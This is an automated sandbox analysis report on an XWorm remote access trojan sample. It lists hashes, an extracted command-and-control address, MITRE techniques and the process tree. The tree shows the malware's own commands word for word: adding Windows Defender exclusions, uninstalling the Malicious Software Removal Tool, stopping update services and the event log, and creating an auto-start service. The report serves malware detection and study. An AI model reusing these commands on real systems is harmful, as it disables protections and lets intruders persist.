xworm | 3c48dbb98c3caf0c38165fd797efb13a087e07c855f160a249259044b2761cce

Analysis

max time kernel
17s
max time network
19s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/07/2026, 23:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
3c48dbb98c3caf0c38165fd797efb13a087e07c855f160a249259044b2761cce.exe
Size 7.1MB
Sample260719-3efbbafx9p
SHA256 3c48dbb98c3caf0c38165fd797efb13a087e07c855f160a249259044b2761cce
MD5 9ed54f176586cd5de3a2db323aa0820e
SHA1 a25d28f8ef416df79b45fcae8d4cbe2968873e2a
SHA512 35907370a19e675c66f307445138615a1cfb9c48245b4f951926decd1c177dbad2716ac7bcc0f33bb59bf346e922c6902858391b8cf29f2a7d86f587f9a28706
SSDEEP 98304:7fqoT+Giibg/NsHxUniQFaKszoq1qWQvWYDrxvU4QMYSx+VefzTuEMCeCdHke:HHii8/NsHxgiYGo1vWOx2YzSENeGH
TLSH
T1E77633946740FC73C8C6DE782DCBA712140F644902E9B1FD945A3BA2AA7438E54FDA3D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

rockyx22.duckdns.org:8887

Mutex

SbsdTZBDiii5W51k

Attributes

Install_directory
%Temp%
install_file
jusched.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c53d-20.dat	family_xworm
behavioral2/memory/3368-21-0x0000000000120000-0x0000000000132000-memory.dmp	family_xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
6064	powershell.exe
1568	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 2 IoCs

pid	Process
2836	body.exe
3368	XWormClient.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
3860	powercfg.exe
4948	powercfg.exe
3540	powercfg.exe
2028	powercfg.exe
4188	powercfg.exe
5448	powercfg.exe
4092	powercfg.exe
2304	powercfg.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6008	sc.exe
4756	sc.exe
1588	sc.exe
5652	sc.exe
4476	sc.exe
3524	sc.exe
2416	sc.exe
1368	sc.exe
688	sc.exe
1868	sc.exe
5136	sc.exe
4732	sc.exe
6112	sc.exe
5956	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3616	cmd.exe
5900	cmd.exe
5720	cmd.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2836	body.exe
6064	powershell.exe
6064	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	3368	XWormClient.exe
Token: SeDebugPrivilege	6064	powershell.exe
Token: SeIncreaseQuotaPrivilege	6064	powershell.exe
Token: SeSecurityPrivilege	6064	powershell.exe
Token: SeTakeOwnershipPrivilege	6064	powershell.exe
Token: SeLoadDriverPrivilege	6064	powershell.exe
Token: SeSystemProfilePrivilege	6064	powershell.exe
Token: SeSystemtimePrivilege	6064	powershell.exe
Token: SeProfSingleProcessPrivilege	6064	powershell.exe
Token: SeIncBasePriorityPrivilege	6064	powershell.exe
Token: SeCreatePagefilePrivilege	6064	powershell.exe
Token: SeBackupPrivilege	6064	powershell.exe
Token: SeRestorePrivilege	6064	powershell.exe
Token: SeShutdownPrivilege	6064	powershell.exe
Token: SeDebugPrivilege	6064	powershell.exe
Token: SeSystemEnvironmentPrivilege	6064	powershell.exe
Token: SeRemoteShutdownPrivilege	6064	powershell.exe
Token: SeUndockPrivilege	6064	powershell.exe
Token: SeManageVolumePrivilege	6064	powershell.exe
Token: 33	6064	powershell.exe
Token: 34	6064	powershell.exe
Token: 35	6064	powershell.exe
Token: 36	6064	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 704 wrote to memory of 2836	704	3c48dbb98c3caf0c38165fd797efb13a087e07c855f160a249259044b2761cce.exe	89
PID 704 wrote to memory of 3368	704	3c48dbb98c3caf0c38165fd797efb13a087e07c855f160a249259044b2761cce.exe	90

C:\Users\Admin\AppData\Local\Temp\3c48dbb98c3caf0c38165fd797efb13a087e07c855f160a249259044b2761cce.exe
"C:\Users\Admin\AppData\Local\Temp\3c48dbb98c3caf0c38165fd797efb13a087e07c855f160a249259044b2761cce.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:704
- C:\Users\Admin\AppData\Local\Temp\body.exe
  "C:\Users\Admin\AppData\Local\Temp\body.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2836
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Executes a command shell one-liner
    PID:3616
  - - C:\Windows\System32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:1320
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:688
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1868
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1588
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:5136
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:5652
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    PID:4092
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    PID:2304
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    PID:3860
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    PID:4948
- - C:\Windows\system32\dialer.exe
    C:\Windows\system32\dialer.exe
    3⤵
    PID:5772
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "Windows"
    3⤵
    - Launches sc.exe
    PID:4476
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "Windows" binpath= "C:\ProgramData\Windows\Update.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:4732
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:6112
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "Windows"
    3⤵
    - Launches sc.exe
    PID:5956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\body.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5900
  - - C:\Windows\System32\choice.exe
      choice /C Y /N /D Y /T 3
      4⤵
      PID:2432
- C:\Users\Admin\AppData\Local\Temp\XWormClient.exe
  "C:\Users\Admin\AppData\Local\Temp\XWormClient.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3368

C:\ProgramData\Windows\Update.exe
C:\ProgramData\Windows\Update.exe
1⤵
PID:3476
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Executes a command shell one-liner
  PID:5720
- - C:\Windows\System32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:5192
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:6008
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4756
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:3524
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2416
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1368
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:3540
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:2028
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:4188
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:5448
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:4400
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:2500

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XWormClient.exe

Path C:\Users\Admin\AppData\Local\Temp\XWormClient.exe
Size 48KB
SHA256 2f03ab170217c3a5a367e2cc3ef29bef50026cc59fb0ede86a0f707d807b5831
MD5 9fb0a71816e12fbafc6d5dcb1f524586
SHA1 ba065f9289a48d75ecb0baa6fc304fcd4e237c62
SHA512 3f9b11abb25191fb96e9ebbe90556bc94b5a8cf36a4a525898169b809cec2185b2ca91e02e68621f85f5346249b4aec14046e31181640f80e03a92bf37f9a1fa
SSDEEP 768:832nl6xhH8hNS1Mkfv3ZnN9gKjklqLsFNI9pB2y6iOAhNHVXj3m:8G6N5fv35gK8bFi9HL6iOAjVT3m
TLSH
T195235C047BD44A24E1FE6BB45CB266460631EB03A913E75E0CE486AF1F67AC0CD517E7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

body.exe

Path C:\Users\Admin\AppData\Local\Temp\body.exe
Size 7.0MB
SHA256 741f4651c74f3e9b10bd1352f103069b9a5c280e4e9f52599a676bae5fecd023
MD5 8da98d0471c59f655289769245d82b62
SHA1 abbc6e1d11e6f03490e8d9fdd8e95b6a1185b365
SHA512 dceaaf583e152e37b6e52a57b6b8793079a1a03d87019a4e67304dbf9a5334ca67cf99ca87bf99fd65cff4e6c1d1e3ef4d5a7ae1336824cd82076a601103cbf8
SSDEEP 196608:hEP/gJTyxUujWOs87oOBkjYxi+sT+ObPWC5E2E9:hG/w2Gu1V/Bkj6fo+OCC5E
TLSH
T13C76F163DD3C623603C87985AD8B0B8F27345464C366BBB1CB49EDA5FD1991E420B8BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_l2rz5sfn.udm.ps1

Path C:\Windows\SystemTemp\__PSScriptPolicyTest_l2rz5sfn.udm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/704-22-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

Download

memory/704-1-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

Download

memory/704-2-0x0000000000F40000-0x000000000165A000-memory.dmp

Download

memory/704-3-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

Download

memory/704-5-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

Download

memory/704-0-0x00007FFA8500F000-0x00007FFA85010000-memory.dmp

Download

memory/1568-49-0x0000027AEFC60000-0x0000027AEFD12000-memory.dmp

Download

memory/3368-26-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

Download

memory/3368-24-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

Download

memory/3368-27-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

Download

memory/3368-25-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

Download

memory/3368-21-0x0000000000120000-0x0000000000132000-memory.dmp

Download

memory/3368-23-0x00007FFA84E80000-0x00007FFA85824000-memory.dmp

Download

memory/5772-39-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/5772-38-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/5772-37-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/5772-40-0x0000000140000000-0x000000014002B000-memory.dmp

Download

memory/6064-30-0x000002866EF40000-0x000002866EF62000-memory.dmp

Download

memory/6064-35-0x000002866EF70000-0x000002866EF7A000-memory.dmp

Download

memory/6064-34-0x000002866F2F0000-0x000002866F3A2000-memory.dmp

Download

memory/6064-33-0x000002866F2D0000-0x000002866F2EE000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads